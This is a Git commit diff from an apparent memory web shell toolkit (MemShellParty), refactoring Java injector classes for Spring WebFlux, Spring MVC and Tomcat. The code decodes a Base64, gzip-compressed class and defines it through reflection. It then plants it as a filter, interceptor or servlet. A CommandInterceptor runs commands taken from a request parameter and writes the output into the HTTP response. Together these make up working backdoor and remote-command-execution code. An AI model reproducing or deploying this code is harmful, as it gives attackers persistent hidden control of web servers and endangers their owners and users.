mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: simplify code
This commit is contained in:
+6
-7
@@ -32,7 +32,7 @@ public class SpringWebFluxWebFilterInjector {
|
||||
public SpringWebFluxWebFilterInjector() {
|
||||
try {
|
||||
FilteringWebHandler webHandler = getWebHandler();
|
||||
Object filter = getShell();
|
||||
Object filter = getShell(webHandler);
|
||||
inject(webHandler, filter);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
@@ -52,19 +52,18 @@ public class SpringWebFluxWebFilterInjector {
|
||||
return null;
|
||||
}
|
||||
|
||||
private Object getShell() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object interceptor = null;
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell(Object context) throws Exception {
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||
return classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
interceptor = clazz.newInstance();
|
||||
return clazz.newInstance();
|
||||
}
|
||||
return interceptor;
|
||||
}
|
||||
|
||||
public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
|
||||
|
||||
+3
-12
@@ -34,24 +34,14 @@ public class SpringWebMvcInterceptorInjector {
|
||||
}
|
||||
}
|
||||
|
||||
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
|
||||
try {
|
||||
return classLoader.loadClass("javax.servlet.ServletContext");
|
||||
} catch (Throwable e) {
|
||||
return classLoader.loadClass("jakarta.servlet.ServletContext");
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
@SuppressWarnings("all")
|
||||
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object context = null;
|
||||
try {
|
||||
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||
Object request = invokeMethod(requestAttributes, "getRequest");
|
||||
Object session = invokeMethod(request, "getSession");
|
||||
Object servletContext = invokeMethod(session, "getServletContext");
|
||||
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
|
||||
context = invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
@@ -69,6 +59,7 @@ public class SpringWebMvcInterceptorInjector {
|
||||
return context;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getShell() throws Exception {
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
Object interceptor = null;
|
||||
|
||||
+1
-13
@@ -84,7 +84,7 @@ public class TomcatServletInjector {
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void inject(Object context, Object servlet) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
if (invokeMethod(context, "findServletMapping", new Class[]{String.class}, new Object[]{getUrlPattern()}) != null) {
|
||||
System.out.println("servlet already injected");
|
||||
return;
|
||||
}
|
||||
@@ -107,18 +107,6 @@ public class TomcatServletInjector {
|
||||
System.out.println("servlet inject success");
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Map<String, String> servletMappings = (Map<String, String>) getFieldValue(context, "servletMappings");
|
||||
Collection<String> values = servletMappings.values();
|
||||
for (String name : values) {
|
||||
if (name.equals(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private void support56Inject(Object context, Object wrapper) throws Exception {
|
||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||
Class<?> serverInfo = contextClassLoader.loadClass("org.apache.catalina.util.ServerInfo");
|
||||
|
||||
+2
-7
@@ -3,10 +3,10 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||
import org.springframework.web.servlet.ModelAndView;
|
||||
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.InputStream;
|
||||
import java.util.Scanner;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -21,12 +21,7 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
|
||||
String param = getParam(request.getParameter(paramName));
|
||||
if (param != null) {
|
||||
InputStream inputStream = getInputStream(param);
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||
return false;
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
|
||||
+1
-1
@@ -16,7 +16,7 @@ import java.nio.charset.StandardCharsets;
|
||||
* @author ReaJason
|
||||
* @since 2024/12/25
|
||||
*/
|
||||
public class CommandWebFilter extends ClassLoader implements WebFilter {
|
||||
public class CommandWebFilter implements WebFilter {
|
||||
public static String paramName;
|
||||
|
||||
@Override
|
||||
|
||||
Reference in New Issue
Block a user